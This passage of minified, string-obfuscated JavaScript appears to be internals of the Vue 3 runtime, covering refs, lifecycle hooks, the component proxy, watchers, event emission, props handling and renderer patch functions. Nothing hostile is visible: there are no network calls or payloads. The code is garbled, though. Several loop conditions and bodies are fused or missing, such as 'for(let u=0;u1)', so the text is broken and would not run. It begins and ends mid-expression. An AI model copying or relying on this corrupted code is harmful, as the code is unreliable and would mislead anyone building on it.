o=s,i=String(t.key);if(e[Vn]&&e[Vn](!0),n["isUn"+o(780)+o(270)])return r();w(p,[e]);let a=!1;const c=e[Jn]=n=>{a||(a=!0,r(),w(n?v:y,[e]),e[Jn]=void 0,m[i]===t&&delete m[i])};m[i]=t,d?G(d,[e,c]):c()},clone(t){const s=rr(t,e,n,r,o);return o&&o(s),s}};return W}function or(t){const e=en;if(dr(t))return(t=fs(t))[e(1003)+e(358)]=null,t}function sr(t){const e=rn,n=nn,r=en,o=on;if(!dr(t))return jn(t[e(1600)])&&t[n(1003)+r(358)]?tr(t.children):t;if(t.component)return t[r(1119)+e(342)+"t"][o(523)+"ree"];const{shapeFlag:s,children:i}=t;if(i){if(16&s)return i[0];if(32&s&&q(i[o(1165)+r(1069)]))return i["defa"+e(1069)]()}}function ir(t,e){const n=en,r=nn,o=en,s=en,i=tn;6&t[n(1305)+r(666)+"g"]&&t[o(1119)+"onent"]?(t["tran"+s(714)+"on"]=e,ir(t[n(1119)+"onent"].subTree,e)):128&t["shap"+n(666)+"g"]?(t["ssCo"+s(736)+"t"][s(1203)+"sition"]=e.clone(t["ssCo"+s(736)+"t"]),t[o(1384)+i(669)+"ck"].transition=e.clone(t.ssFallback)):t["tran"+n(714)+"on"]=e}function ar(t,e=!1,n){const r=rn,o=en,s=tn,i=en;let a=[],c=0;for(let u=0;u1)for(let u=0;ufr(t,e&&(g(e)?e[s]:e),n,r,o));if(pr(r)&&!o)return void(512&r[s(1305)+s(666)+"g"]&&r[f(1600)][u(1506)+s(871)+"esol"+c(518)]&&r["comp"+s(342)+"t"][c(523)+"ree"][u(1119)+c(342)+"t"]&&fr(t,e,n,r["comp"+c(342)+"t"][i(523)+"ree"]));const h=4&r[i(1305)+u(666)+"g"]?Is(r.component):r.el,p=o?null:h,{i:y,r:C}=t,B=e&&e.r,z=y[s(1523)]===a?y.refs={}:y[u(1523)],m=y.setupState,w=je(m),G=m===a?l:t=>v(w,t);if(null!=B&&B!==C&&(hr(e),D(B)?(z[B]=null,G(B)&&(m[B]=null)):Pe(B)&&(B[u(403)+"e"]=null,e.k&&(z[e.k]=null))),q(C))cn(C,y,12,[p,z]);else{const e=D(C),r=Pe(C);if(e||r){const a=()=>{const n=s,i=u;if(t.f){const r=e?G(C)?m[C]:z[C]:C[n(403)+"e"];if(o)g(r)&&d(r,h);else if(g(r))!r.includes(h)&&r[i(1093)](h);else if(e)z[C]=[h],G(C)&&(m[C]=z[C]);else{const e=[h];C[n(403)+"e"]=e,t.k&&(z[t.k]=e)}}else e?(z[C]=p,G(C)&&(m[C]=p)):r&&(C[i(403)+"e"]=p,t.k&&(z[t.k]=p))};if(p){const e=()=>{a(),lr.delete(t)};e.id=-1,lr[i(957)](t,e),Eo(e,n)}else hr(t),a()}}}function hr(t){const e=rn,n=lr[tn(1390)](t);n&&(n[e(360)+"s"]|=8,lr[e(1077)+"te"](t))}en(581),on(1161),en(432),rn(1003),en(358),tn(1075),on(1569),nn(283),X(),en(678),rn(945),X(),nn(1501),tn(587);const pr=t=>!!t[tn(1600)]["__as"+tn(437)+"oader"],dr=t=>t[nn(1600)][en(869)+en(1157)+"Alive"];function yr(t,e){gr(t,"a",e)}function vr(t,e){gr(t,"da",e)}function gr(t,e,n=Ds){const r=nn,o=en,s=t.__wdc||(t[r(392)+"c"]=()=>{const e=r;let o=n;for(;o;){if(o["isDe"+e(295)+e(531)+"d"])return;o=o[e(745)+"nt"]}return t()});if(Br(e,s,n),n){let t=n.parent;for(;t&&t.parent;)dr(t.parent[o(468)+"e"])&&Cr(s,e,n,t),t=t[r(745)+"nt"]}}function Cr(t,e,n,r){const o=Br(e,t,r,!0);Wr(()=>{d(r[e],o)},n)}function Br(t,e,n=Ds,r=!1){if(n){const o=n[t]||(n[t]=[]),s=e.__weh||(e.__weh=(...r)=>{Ut();const o=Ws(n),s=un(e,n,t,r);return o(),Et(),s});return r?o.unshift(s):o.push(s),s}}nn(1157),en(887);const zr=t=>(e,n=Ds)=>{(!As||"sp"===t)&&Br(t,(...t)=>e(...t),n)},qr=zr("bm"),Dr=zr("m"),mr=zr("bu"),wr=zr("u"),Gr=zr(on(1143)),Wr=zr("um"),xr=zr("sp"),br=zr(rn(1268)),Ar=zr(rn(988));function Lr(t,e=Ds){Br("ec",t,e)}const Mr=rn(1119)+"onents";en(701);const _r=Symbol.for("v-ndc");function Sr(t){return D(t)?function(t,e,n=!0,r=!1){const o=411,s=1332,i=rn,a=rn,c=Ln||Ds;if(c){const n=c.type;if(t===Mr){const t=function(t,e=!0){const n=1401,r=668,o=955,s=200,i=tn,a=nn;return q(t)?t[i(n)+i(r)+a(o)]||t[a(s)]:t.name||e&&t.__name}(n,!1);if(t&&(t===e||t===S(e)||t===H(S(e))))return n}const u=Ir(c[t]||n[t],e)||Ir(c[i(o)+a(s)+"xt"][t],e);return!u&&r?n:u}}(Mr,t,!1)||t:t||_r}function Ir(t,e){return t&&(t[e]||t[S(e)]||t[H(S(e))])}function kr(t,e,n,r){const o=en,s=rn,i=nn,a=en;let c;const u=n,l=g(t);if(l||D(t)){let n=!1,r=!1;l&&Se(t)&&(n=!ke(t),r=Ie(t),t=$t(t)),c=new Array(t[o(319)+"th"]);for(let o=0,i=t[s(319)+"th"];oe(t,n,void 0,u));else{const n=Object.keys(t);c=new Array(n[s(319)+"th"]);for(let r=0,o=n[s(319)+"th"];r0;return"default"!==e&&(n[s(200)]=e),$o(),os(To,null,[ls(i(1490),n,r&&r())],t?-2:64)}let u=t[e];u&&u._c&&(u._d=!1),$o();const l=u&&jr(u(n)),f=n[c(1443)]||l&&l.key,h=os(To,{key:(f&&!m(f)?f:"_"+e)+(!l&&r?"_fb":"")},l||(r?r():[]),l&&1===t._?64:-2);return!o&&h[a(1554)+s(1208)]&&(h[s(1490)+"ScopeIds"]=[h.scopeId+"-s"]),u&&u._c&&(u._d=!0),h}function jr(t){const e=tn;return t[e(1317)](t=>{const n=e,r=e,o=e;return!ss(t)||t[n(1600)]!==Vo&&!(t[r(1600)]===To&&!jr(t[o(1003)+o(358)]))})?t:null}const Ur=t=>t?bs(t)?Is(t):Ur(t.parent):null,Er=p(Object.create(null),{$:t=>t,$el:t=>t[en(468)+"e"].el,$data:t=>t.data,$props:t=>t[rn(311)+"s"],$attrs:t=>t.attrs,$slots:t=>t[nn(1490)+"s"],$refs:t=>t[nn(1523)],$parent:t=>Ur(t[nn(745)+"nt"]),$root:t=>Ur(t.root),$host:t=>t.ce,$emit:t=>t[en(733)],$options:t=>Jr(t),$forceUpdate:t=>t.f||(t.f=()=>{Bn(t.update)}),$nextTick:t=>t.n||(t.n=Cn[rn(1188)](t.proxy)),$watch:t=>ho[on(1188)](t)}),Pr=(t,e)=>t!==a&&!t["__is"+tn(1276)+nn(356)+"tup"]&&v(t,e),Yr={get({_:t},e){const n=rn,r=tn,o=rn;if(e===n(601)+r(994))return!0;const{ctx:s,setupState:i,data:c,props:u,accessCache:l,type:f,appContext:h}=t;if("$"!==e[0]){const t=l[e];if(void 0!==t)switch(t){case 1:return i[e];case 2:return c[e];case 4:return s[e];case 3:return u[e]}else{if(Pr(i,e))return l[e]=1,i[e];if(c!==a&&v(c,e))return l[e]=2,c[e];if(v(u,e))return l[e]=3,u[e];if(s!==a&&v(s,e))return l[e]=4,s[e];Or&&(l[e]=0)}}const p=Er[e];let d,y;return p?(e===n(1438)+"rs"&&Rt(t[r(283)+"s"],0,""),p(t)):(d=f["__cs"+n(1601)+"ules"])&&(d=d[e])?d:s!==a&&v(s,e)?(l[e]=4,s[e]):(y=h[r(1173)+"ig"][o(1086)+r(878)+o(492)+n(1405)],v(y,e)?y[e]:void 0)},set({_:t},e,n){const{data:r,setupState:o,ctx:s}=t;return Pr(o,e)?(o[e]=n,!0):r!==a&&v(r,e)?(r[e]=n,!0):!(v(t.props,e)||"$"===e[0]&&e.slice(1)in t||(s[e]=n,0))},has({_:{data:t,setupState:e,accessCache:n,ctx:r,appContext:o,props:s,type:i}},c){const u=rn,l=nn,f=tn;let h;return!!(n[c]||t!==a&&"$"!==c[0]&&v(t,c)||Pr(e,c)||v(s,c)||v(r,c)||v(Er,c)||v(o[u(1173)+"ig"]["glob"+l(878)+"operties"],c)||(h=i[f(1403)+"sMod"+u(1515)])&&h[c])},defineProperty(t,e,n){const r=on,o=nn,s=rn;return null!=n.get?t._.accessCache[e]=0:v(n,r(403)+"e")&&this[r(957)](t,e,n[s(403)+"e"],null),Reflect[o(1482)+o(1370)+"operty"](t,e,n)}};function Nr(){const t=rn;return function(){const t=1192,e=1543,n=1192,r=on,o=tn,s=rn,i=ms();return i["setu"+r(t)+"text"]||(i[s(e)+o(n)+"text"]=Ss(i))}(en(879))[t(283)+"s"]}function Xr(t){const e=en;return g(t)?t[e(1178)+"ce"]((t,e)=>(t[e]=null,t),{}):t}function Zr(t,e){const n=tn;return t&&e?g(t)&&g(e)?t[n(939)+"at"](e):p({},Xr(t),Xr(e)):t||e}p({},Yr,{get(t,e){const n=nn;if(e!==Symbol[n(713)+"opab"+n(1141)])return Yr.get(t,e,t)},has:(t,e)=>"_"!==e[0]&&!Z(e)});let Or=!0;function Kr(t,e,n){const r=tn,o=nn,s=on;un(g(t)?t[r(885)](t=>t.bind(e[o(882)+"y"])):t[r(1188)](e[s(882)+"y"]),e,n)}function Tr(t,e,n,r){const o=tn,s=tn,i=en,a=rn;let c=r[o(968)+o(423)](".")?po(n,r):()=>n[r];if(D(t)){const n=e[t];q(n)&&lo(c,n)}else if(q(t))lo(c,t[s(1188)](n));else if(w(t))if(g(t))t[o(1535)+"ach"](t=>Tr(t,e,n,r));else{const r=q(t[i(482)+s(416)])?t["hand"+a(416)].bind(n):e[t[i(482)+"ler"]];q(r)&&lo(c,r,t)}}function Jr(t){const e=tn,n=nn,r=tn,o=t.type,{mixins:s,extends:i}=o,{mixins:a,optionsCache:c,config:{optionMergeStrategies:u}}=t[e(411)+"ontext"],l=c[e(1390)](o);let f;return l?f=l:a[n(319)+"th"]||s||i?(f={},a[n(319)+"th"]&&a[r(1535)+"ach"](t=>Vr(f,t,u,!0)),Vr(f,o,u)):f=o,w(o)&&c.set(o,f),f}function Vr(t,e,n,r=!1){const{mixins:o,extends:s}=e;s&&Vr(t,s,n,!0),o&&o.forEach(e=>Vr(t,e,n,!0));for(const i in e)if(r&&"expose"===i);else{const r=Rr[i]||n&&n[i];t[i]=r?r(t[i],e[i]):e[i]}return t}const Rr={data:Fr,props:eo,emits:eo,methods:to,computed:to,beforeCreate:$r,created:$r,beforeMount:$r,mounted:$r,beforeUpdate:$r,updated:$r,beforeDestroy:$r,beforeUnmount:$r,destroyed:$r,unmounted:$r,activated:$r,deactivated:$r,errorCaptured:$r,serverPrefetch:$r,components:to,directives:to,watch:function(t,e){if(!t)return e;if(!e)return t;const n=p(Object[tn(1495)+"te"](null),t);for(const r in e)n[r]=$r(t[r],e[r]);return n},provide:Fr,inject:function(t,e){return to(Qr(t),Qr(e))}};function Fr(t,e){return e?t?function(){return p(q(t)?t.call(this,this):t,q(e)?e.call(this,this):e)}:e:t}function Qr(t){if(g(t)){const e={};for(let n=0;n(r[xn(905)+"ides"][t]=e,a),runWithContext(t){const e=so;so=a;try{return t()}finally{so=e}}};return a}}let so=null;function io(t,e){const n=tn,r=on;if(Ds){let o=Ds[en(905)+"ides"];const s=Ds.parent&&Ds[n(745)+"nt"]["prov"+r(337)];s===o&&(o=Ds["prov"+n(337)]=Object[n(1495)+"te"](s)),o[t]=e}}function ao(t,e,n=!1){const r=on,o=on,s=nn,i=nn,a=ms();if(a||so){let c=so?so[r(236)+r(697)].provides:a?null==a[r(745)+"nt"]||a.ce?a[o(468)+"e"][i(411)+"ontext"]&&a.vnode["appC"+r(1332)+"xt"][r(905)+"ides"]:a[i(745)+"nt"].provides:void 0;if(c&&t in c)return c[t];if(arguments.length>1)return n&&q(e)?e[s(858)](a&&a[i(882)+"y"]):e}}const co=Symbol[tn(1440)](en(1444)+"x"),uo=()=>ao(co);function lo(t,e,n){return fo(t,e,n)}function fo(t,e,n=a){const r=tn,o=nn,s=en,i=en,c=tn,{immediate:l,flush:f}=n,h=p({},n),y=e&&l||!e&&"post"!==f;let v;if(As)if("sync"===f){const t=uo();v=t[c(611)+"tcherHan"+i(322)]||(t["__wa"+s(1324)+r(931)+"dles"]=[])}else if(!y){const t=()=>{};return t.stop=u,t[i(682)+"me"]=u,t[s(1054)+"e"]=u,t}const C=Ds;h.call=(t,e,n)=>un(t,C,e,n);let B=!1;"post"===f?h.scheduler=t=>{const e=o;Eo(t,C&&C[c(730)+e(333)])}:"sync"!==f&&(B=!0,h.scheduler=(t,e)=>{e?t():Bn(t)}),h.augmentJob=t=>{const n=i,r=o;e&&(t[i(360)+"s"]|=4),B&&(t[n(360)+"s"]|=2,C&&(t.id=C[r(575)],t.i=C))};const z=function(t,e,n=a){const r=pt,o=pt,s=vt,i=pt,{immediate:c,deep:l,once:f,scheduler:h,augmentJob:p,call:y}=n,v=t=>l?t:ke(t)||!1===l||0===l?$e(t,1):$e(t);let C,B,z,D,m=!1,w=!1;if(Pe(t)?(B=()=>t.value,m=ke(t)):Se(t)?(B=()=>v(t),m=!0):g(t)?(w=!0,m=t[r(649)](t=>Se(t)||ke(t)),B=()=>t.map(t=>Pe(t)?t.value:Se(t)?v(t):q(t)?y?y(t,2):t():void 0)):B=q(t)?e?y?()=>y(t,2):t:()=>{if(z){Ut();try{z()}finally{Et()}}const e=Qe;Qe=C;try{return y?y(t,3,[D]):t(D)}finally{Qe=e}}:u,e&&l){const t=B,e=!0===l?1/0:l;B=()=>$e(t(),e)}const G=Ct,W=()=>{const t=r;C.stop(),G&&G[t(635)+"ve"]&&d(G.effects,C)};if(f&&e){const t=e;e=(...e)=>{t(...e),W()}}let x=w?new Array(t[r(516)+"th"])[s(509)](Re):Re;const b=t=>{const n=o,r=o;if(1&C[n(485)+"s"]&&(C[n(680)+"y"]||t))if(e){const t=C.run();if(l||m||(w?t.some((t,e)=>U(t,x[e])):U(t,x))){z&&z();const n=Qe;Qe=C;try{const n=[t,x===Re?void 0:w&&x[0]===Re?[]:x,D];x=t,y?y(e,3,n):e(...n)}finally{Qe=n}}}else C[r(489)]()};return p&&p(b),C=new Dt(B),C[i(554)+"duler"]=h?()=>h(b,!1):b,D=t=>function(t,e=!1,n=Qe){const r=vt;if(n){let e=Fe[ht(712)](n);e||Fe[r(591)](n,e=[]),e.push(t)}}(t,!1,C),z=C.onStop=()=>{const t=Fe[r(712)](C);if(t){if(y)y(t,4);else for(const e of t)e();Fe.delete(C)}},e?c?b(!0):x=C.run():h?h(b[s(589)](null,!0),!0):C[i(489)](),W[o(586)+"e"]=C.pause.bind(C),W.resume=C.resume.bind(C),W.stop=W,W}(t,e,h);return As&&(v?v.push(z):y&&z()),z}function ho(t,e,n){const r=nn,o=nn,s=this[r(882)+"y"],i=D(t)?t[r(968)+r(423)](".")?po(s,t):()=>s[t]:t.bind(s,s);let a;q(e)?a=e:(a=e[o(482)+"ler"],n=e);const c=Ws(this),u=fo(i,a.bind(s),n);return c(),u}function po(t,e){const n=e[tn(1111)+"t"](".");return()=>{let e=t;for(let t=0;t{let u,l,f=a;return function(t){fo(t,null,{flush:"sync"})}(()=>{const e=t[s];U(u,e)&&(u=e,c())}),{get(){const t=xn;return r(),n.get?n[t(1390)](u):u},set(t){const r=xn,h=xn,p=n[r(957)]?n[r(957)](t):t;if(!(U(p,u)||f!==a&&U(t,f)))return;const d=o.vnode[r(311)+"s"];!(d&&(e in d||s in d||i in d)&&("onUpdate:"+e in d||"onUpdate:"+s in d||"onUp"+r(749)+":"+i in d))&&(u=t,c()),o.emit(h(646)+r(413)+e,p),U(t,p)&&U(t,f)&&!U(p,l)&&c(),f=t,l=p}}},new Je(l));var l;return u[Symbol["iter"+r(1318)]]=()=>{let t=0;return{next:()=>t<2?{value:t++?c||a:u,done:!1}:{done:!0}}},u}const vo=(t,e)=>{const n=on,r=en,o=tn;return e==="mode"+n(1281)+"ue"||e===n(785)+"l-value"?t.modelModifiers:t[e+(r(854)+"fiers")]||t[S(e)+"Modi"+r(393)+"s"]||t[k(e)+(o(854)+"fiers")]};function go(t,e,...n){const r=nn,o=tn,s=en,i=en;if(t["isUn"+r(780)+"ted"])return;const c=t.vnode.props||a;let u=n;const l=e.startsWith(s(646)+"te:"),f=l&&vo(c,e[r(1335)+"e"](7));f&&(f[s(1413)]&&(u=n[s(885)](t=>D(t)?t.trim():t)),f.number&&(u=n[o(885)](Y)));let h,p=c[h=j(e)]||c[h=j(S(e))];!p&&l&&(p=c[h=j(k(e))]),p&&un(p,t,6,u);const d=c[h+i(1249)];if(d){if(t[o(733)+"ted"]){if(t[o(733)+"ted"][h])return}else t.emitted={};t.emitted[h]=!0,un(d,t,6,u)}}const Co=new WeakMap;function Bo(t,e,n=!1){const r=rn,o=rn,s=rn,i=tn,a=n?Co:e[en(733)+"sCache"],c=a.get(t);if(void 0!==c)return c;const u=t.emits;let l={},f=!1;if(!q(t)){const a=t=>{const n=Bo(t,e,!0);n&&(f=!0,p(l,n))};!n&&e[r(789)+"ns"][o(319)+"th"]&&e[s(789)+"ns"][r(1535)+s(650)](a),t[r(1263)+i(933)]&&a(t.extends),t[r(789)+"ns"]&&t[o(789)+"ns"].forEach(a)}return u||f?(g(u)?u[o(1535)+s(650)](t=>l[t]=null):p(l,u),w(t)&&a[r(957)](t,l),l):(w(t)&&a[s(957)](t,null),null)}function zo(t,e){const n=en,r=en;return!(!t||!f(e))&&(e=e.slice(2).replace(/Once$/,""),v(t,e[0][n(231)+r(752)+"ase"]()+e.slice(1))||v(t,k(e))||v(t,e))}function qo(t){const e=on,n=en,r=on,{type:o,vnode:s,proxy:i,withProxy:a,propsOptions:[c],slots:u,attrs:l,emit:f,render:p,renderCache:d,props:y,data:v,setupState:g,ctx:C,inheritAttrs:B}=t,z=_n(t);let q,D;try{if(4&s.shapeFlag){const t=a||i,n=t;q=ys(p[e(858)](n,t,d,y,g,v,C)),D=l}else{q=ys(o(y,o.length>1?{attrs:l,slots:u,emit:f}:null)),D=o.props?l:Do(l)}}catch(w){Fo.length=0,ln(w,t,1),q=ls(Vo)}let m=q;if(D&&!1!==B){const t=Object.keys(D),{shapeFlag:e}=m;t.length&&7&e&&(c&&t.some(h)&&(D=mo(D,c)),m=fs(m,D,!1,!0))}return s[r(1593)]&&(m=fs(m,null,!1,!0),m[e(1593)]=m[r(1593)]?m[r(1593)].concat(s.dirs):s[r(1593)]),s.transition&&ir(m,s[n(1203)+"sition"]),q=m,_n(z),q}const Do=t=>{const e=on;let n;for(const r in t)("class"===r||r===e(1569)+"e"||f(r))&&((n||(n={}))[r]=t[r]);return n},mo=(t,e)=>{const n=tn,r={};for(const o in t)(!h(o)||!(o[n(1335)+"e"](9)in e))&&(r[o]=t[o]);return r};function wo(t,e,n){const r=rn,o=Object[on(695)](e);if(o[r(319)+"th"]!==Object.keys(t).length)return!0;for(let s=0;sObject.create(Go),xo=t=>Object["getP"+on(1109)+rn(1600)+"Of"](t)===Go;function bo(t,e,n,r){const o=on,s=tn,[i,c]=t[o(311)+o(260)+"ions"];let u,l=!1;if(e)for(let a in e){if(L(a))continue;const o=e[a];let f;i&&v(i,f=S(a))?c&&c.includes(f)?(u||(u={}))[f]=o:n[f]=o:!zo(t[s(733)+s(260)+"ions"],a)&&(!(a in r)||o!==r[a])&&(r[a]=o,l=!0)}if(c){const e=je(n),r=u||a;for(let o=0;o{const n=r;C=!0;const[o,s]=Mo(t,e,!0);p(d,o),s&&y[n(1093)](...s)};!n&&e.mixins[o(319)+"th"]&&e.mixins[s(1535)+o(650)](i),t[o(1263)+"nds"]&&i(t["exte"+u(933)]),t.mixins&&t.mixins["forE"+r(650)](i)}if(!h&&!C)return w(t)&&l[i(957)](t,c),c;if(g(h))for(let c=0;c"_"===t||"_ctx"===t||t==="$sta"+en(1081),Io=t=>g(t)?t[rn(885)](ys):[ys(t)],ko=(t,e,n)=>{if(e._n)return e;const r=Sn((...t)=>Io(e(...t)),n);return r._c=!1,r},Ho=(t,e,n)=>{const r=t[on(1417)];for(const o in t){if(So(o))continue;const n=t[o];if(q(n))e[o]=ko(0,n,r);else if(null!=n){const t=Io(n);e[o]=()=>t}}},jo=(t,e)=>{const n=Io(e);t.slots.default=()=>n},Uo=(t,e,n)=>{for(const r in e)(n||!So(r))&&(t[r]=e[r])},Eo=function(t,e){const n=nn;e&&e.pendingBranch?g(t)?e["effe"+n(1218)].push(...t):e.effects.push(t):function(t){const e=nn,n=on;g(t)?pn[n(1093)](...t):dn&&-1===t.id?dn[e(1111)+"ce"](yn+1,0,t):!(1&t[e(360)+"s"])&&(pn.push(t),t.flags|=1),zn()}(t)};function Po(t){return function(t){const e=727,n=276,r=488,o=488,s=1305,i=523,l=1168,f=333,h=350,p=1517,d=1305,y=1333,g=919,C=589,B=593,z=1306,q=410,D=1255,m=560,w=1119,W=730,x=653,b=1600,A=1520,M=524,_=410,I=1557,H=1251,j=1016,U=1119,Y=342,N=730,Z=847,O=319,K=328,T=252,J=319,V=319,R=1443,F=1443,Q=1443,$=319,tt=1003,et=358,nt=1305,rt=358,ot=342,st=468,it=311,at=311,ct=1003,ut=1554,lt=646,ft=1067,ht=1188,pt=291,dt=575,yt=220,vt=1302,gt=962,Ct=1156,Bt=256,qt=1055,mt=297,wt=775,Gt=523,Wt=1168,xt=410,bt=1305,At=468,Lt=666,Mt=1023,_t=618,St=311,It=1255,kt=623,Ht=1168,jt=218,Pt=1119,Yt=342,Nt=1372,Xt=646,Zt=468,Ot=1283,Kt=919,Tt=774,Jt=1280,Vt=1168,Rt=1389,Qt=1316,$t=666,te=1283,ee=357,ne=1003,re=358,oe=388,se=297,ie=474,ae=1443,ce=403,ue=403,le=319,fe=666,he=311,pe=410,de=1255,ye=623,ve=851,ge=1486,Ce=749,Be=1410,ze=788,qe=1540,De=697,me=1540,we=388,Ge=1075,We=1075,xe=1569,be=226,Ae=275,Me=403,_e=1003,Se=358,Ie=1003,ke=1557,He=218,Ue=646,Ee=1517,Pe=1168,Ye=1384,Ne=669,Xe=468,Ze=1208,Oe=1490,Ke=928,Te=1316,Je=745,Ve=1600,Re=1003,Fe=358,Qe=358,$e=1517,sn=1554,an=1208,un=403,fn=410,hn=1331,pn=851,dn=410,yn=780,vn=1517,gn=1600,Cn=379,zn=889,mn=1166,wn={I:357,b:1003,G:357},Gn=1003,Wn=358,bn=1003,An=1604,Ln=485,Mn=226,_n=1063,Sn=1365,In=rn,jn=nn,Un=en,En=nn,Pn=on;X()[In(e)+jn(n)]=!0;const{insert:Yn,remove:Nn,patchProp:Xn,createElement:Zn,createText:On,createComment:Kn,setText:Tn,setElementText:Vn,parentNode:Rn,nextSibling:Fn,setScopeId:Qn=u,insertStaticContent:$n}=t,tr=(t,e,n,r=null,o=null,s=null,i=void 0,a=null,c=!!e[In(226)+In(388)+Un(297)+"ren"])=>{const u=In,l=En;if(t===e)return;t&&!is(t,e)&&(r=Lr(t),Gr(t,o,s,!0),t=null),-2===e[u(An)+u(Ln)+"g"]&&(c=!1,e[l(Mn)+"micChildren"]=null);const{type:f,ref:h,shapeFlag:p}=e;switch(f){case Jo:er(t,e,n,r);break;case Vo:nr(t,e,n,r);break;case Ro:null==t&&rr(e,n,r,i);break;case To:yr(t,e,n,r,o,s,i,a,c);break;default:1&p?or(t,e,n,r,o,s,i,a,c):6&p?vr(t,e,n,r,o,s,i,a,c):64&p?f.process(t,e,n,r,o,s,i,a,c,Sr):128&p&&f["proc"+l(_n)](t,e,n,r,o,s,i,a,c,Sr)}null!=h&&o?fr(h,t&&t[l(Sn)],s,e||t,!e):null==h&&t&&null!=t.ref&&fr(t.ref,null,s,t,!0)},er=(t,e,n,r)=>{const o=Pn;if(null==t)Yn(e.el=On(e["chil"+o(Wn)]),n,r);else{const n=e.el=t.el;e.children!==t[o(bn)+"dren"]&&Tn(n,e.children)}},nr=(t,e,n,r)=>{null==t?Yn(e.el=Kn(e[En(Gn)+"dren"]||""),n,r):e.el=t.el},rr=(t,e,n,r)=>{const o=En,s=En;[t.el,t[o(wn.I)+"or"]]=$n(t[s(wn.b)+"dren"],e,n,r,t.el,t[s(wn.G)+"or"])},or=(t,e,n,r,o,s,i,a,c)=>{const u=Pn,l=Pn;if(e[Un(gn)]===u(Cn)?i="svg":e.type===l(zn)&&(i="mathml"),null==t)sr(e,n,r,o,s,i,a,c);else{const n=t.el&&t.el._isVueCE?t.el:null;try{n&&n[l(mn)+"inPatch"](),cr(t,e,o,s,i,a,c)}finally{n&&n._endPatch()}}},sr=(t,e,n,r,o,s,i,a)=>{const c=Un,u=In,l=Un,f=In,h=jn;let p,d;const{props:y,shapeFlag:v,transition:g,dirs:C}=t;if(p=t.el=Zn(t[c(Ve)],s,y&&y.is,y),8&v?Vn(p,t[c(Re)+l(Fe)]):16&v&&ar(t[c(Re)+l(Qe)],p,null,r,o,Yo(t,s),i,a),C&&kn(t,null,r,"crea"+f($e)),ir(p,t,t[h(sn)+c(an)],i,r),y){for(const t in y)t!==c(un)+"e"&&!L(t)&&Xn(p,t,null,y[t],s,r);f(un)+"e"in y&&Xn(p,u(un)+"e",null,y.value,s),(d=y[u(fn)+l(hn)+"eforeMount"])&&Bs(d,r,t)}C&&kn(t,null,r,"beforeMount");const B=function(t,e){const n=287,r=tn;return(!t||t&&!t["pendingB"+r(783)+"h"])&&e&&!e["pers"+r(n)+"d"]}(o,g);B&&g[l(pn)+"reEnter"](p),Yn(p,e,n),((d=y&&y[h(dn)+"odeMounted"])||B||C)&&Eo(()=>{const e=h,n=f;d&&Bs(d,r,t),B&&g.enter(p),C&&kn(t,null,r,e(yn)+n(vn))},o)},ir=(t,e,n,r,o)=>{const s=Pn,i=In,a=jn,c=In,u=jn;if(n&&Qn(t,n),r)for(let l=0;l{for(let u=c;u{const c=jn,u=Un,l=En,f=Pn,h=Pn,p=e.el=t.el;let{patchFlag:d,dynamicChildren:y,dirs:v}=e;d|=16&t.patchFlag;const g=t[c(he)+"s"]||a,C=e.props||a;let B;if(n&&No(n,!1),(B=C[u(pe)+"odeB"+u(de)+"eUpd"+l(ye)])&&Bs(B,n,e,t),v&&kn(e,t,n,c(ve)+h(ge)+f(Ce)),n&&No(n,!0),(g.innerHTML&&null==C[l(Be)+f(ze)+"L"]||g["textCont"+c(qe)]&&null==C[l(De)+"Cont"+c(me)])&&Vn(p,""),y?lr(t["dyna"+h(we)+"hildren"],y,p,n,r,Yo(e,o),s):!i&&qr(t,e,p,null,n,r,Yo(e,o),s,!1),d>0){if(16&d)hr(p,g,C,n,o);else if(2&d&&g[u(Ge)+"s"]!==C[f(We)+"s"]&&Xn(p,l(We)+"s",null,C.class,o),4&d&&Xn(p,"style",g.style,C[u(xe)+"e"],o),8&d){const t=e[h(be)+h(Ae)+"rops"];for(let e=0;e{const r=l,o=f;B&&Bs(B,n,e,t),v&&kn(e,t,n,r(Ue)+o(Ee))},r)},lr=(t,e,n,r,o,s,i)=>{const a=En,c=jn;for(let u=0;u{const s=jn,i=In;if(e!==n){if(e!==a)for(const s in e)!L(s)&&!(s in n)&&Xn(t,s,e[s],null,o,r);for(const i in n){if(L(i))continue;const a=n[i],c=e[i];a!==c&&i!==s(ce)+"e"&&Xn(t,i,c,a,o,r)}i(ce)+"e"in n&&Xn(t,i(ue)+"e",e.value,n.value,o)}},yr=(t,e,n,r,o,s,i,a,c)=>{const u=Un,l=Pn,f=Pn,h=e.el=t?t.el:On(""),p=e.anchor=t?t[u(ee)+"or"]:On("");let{patchFlag:d,dynamicChildren:y,slotScopeIds:v}=e;v&&(a=a?a.concat(v):v),null==t?(Yn(h,n,r),Yn(p,n,r),ar(e[l(ne)+l(re)]||[],n,p,o,s,i,a,c)):d>0&&64&d&&y&&t["dyna"+l(oe)+u(se)+f(ie)]?(lr(t.dynamicChildren,y,n,o,s,i,a),(null!=e[l(ae)]||o&&e===o.subTree)&&Xo(t,e,!0)):qr(t,e,n,p,o,s,i,a,c)},vr=(t,e,n,r,o,s,i,a,c)=>{const u=Pn;e["slotScop"+Un(Qt)]=a,null==t?512&e["shap"+u($t)+"g"]?o[u(te)].activate(e,n,r,i,c):gr(e,n,r,o,s,i,c):Cr(t,e,c)},gr=(t,e,n,r,o,s,i)=>{const c=Pn,u=En,l=Un,f=t.component=function(t,e,n){const r=411,o=1332,s=905,i=1495,c=337,u=235,l=1130,f=557,h=967,p=967,d=733,y=1188,v=nn,g=tn,C=on,B=nn,z=t[en(1600)],q=(e?e[v(r)+v(o)+"xt"]:t.appContext)||zs,D={uid:qs++,vnode:t,type:z,parent:e,appContext:q,root:null,next:null,subTree:null,effect:null,update:null,job:null,scope:new zt(!0),render:null,proxy:null,exposed:null,exposeProxy:null,withProxy:null,provides:e?e[C(s)+"ides"]:Object[C(i)+"te"](q["prov"+g(c)]),ids:e?e.ids:["",0,0],accessCache:null,renderCache:[],components:null,directives:null,propsOptions:Mo(z,q),emitsOptions:Bo(z,q),emit:null,emitted:null,propsDefaults:a,inheritAttrs:z[B(u)+"ritAttrs"],ctx:a,data:a,props:a,attrs:a,slots:a,refs:a,setupState:a,setupContext:null,suspense:n,suspenseId:n?n[g(l)+B(f)+"d"]:0,asyncDep:null,asyncResolved:!1,isMounted:!1,isUnmounted:!1,isDeactivated:!1,bc:null,c:null,bm:null,m:null,bu:null,u:null,um:null,bum:null,da:null,a:null,rtg:null,rtc:null,ec:null,sp:null};return 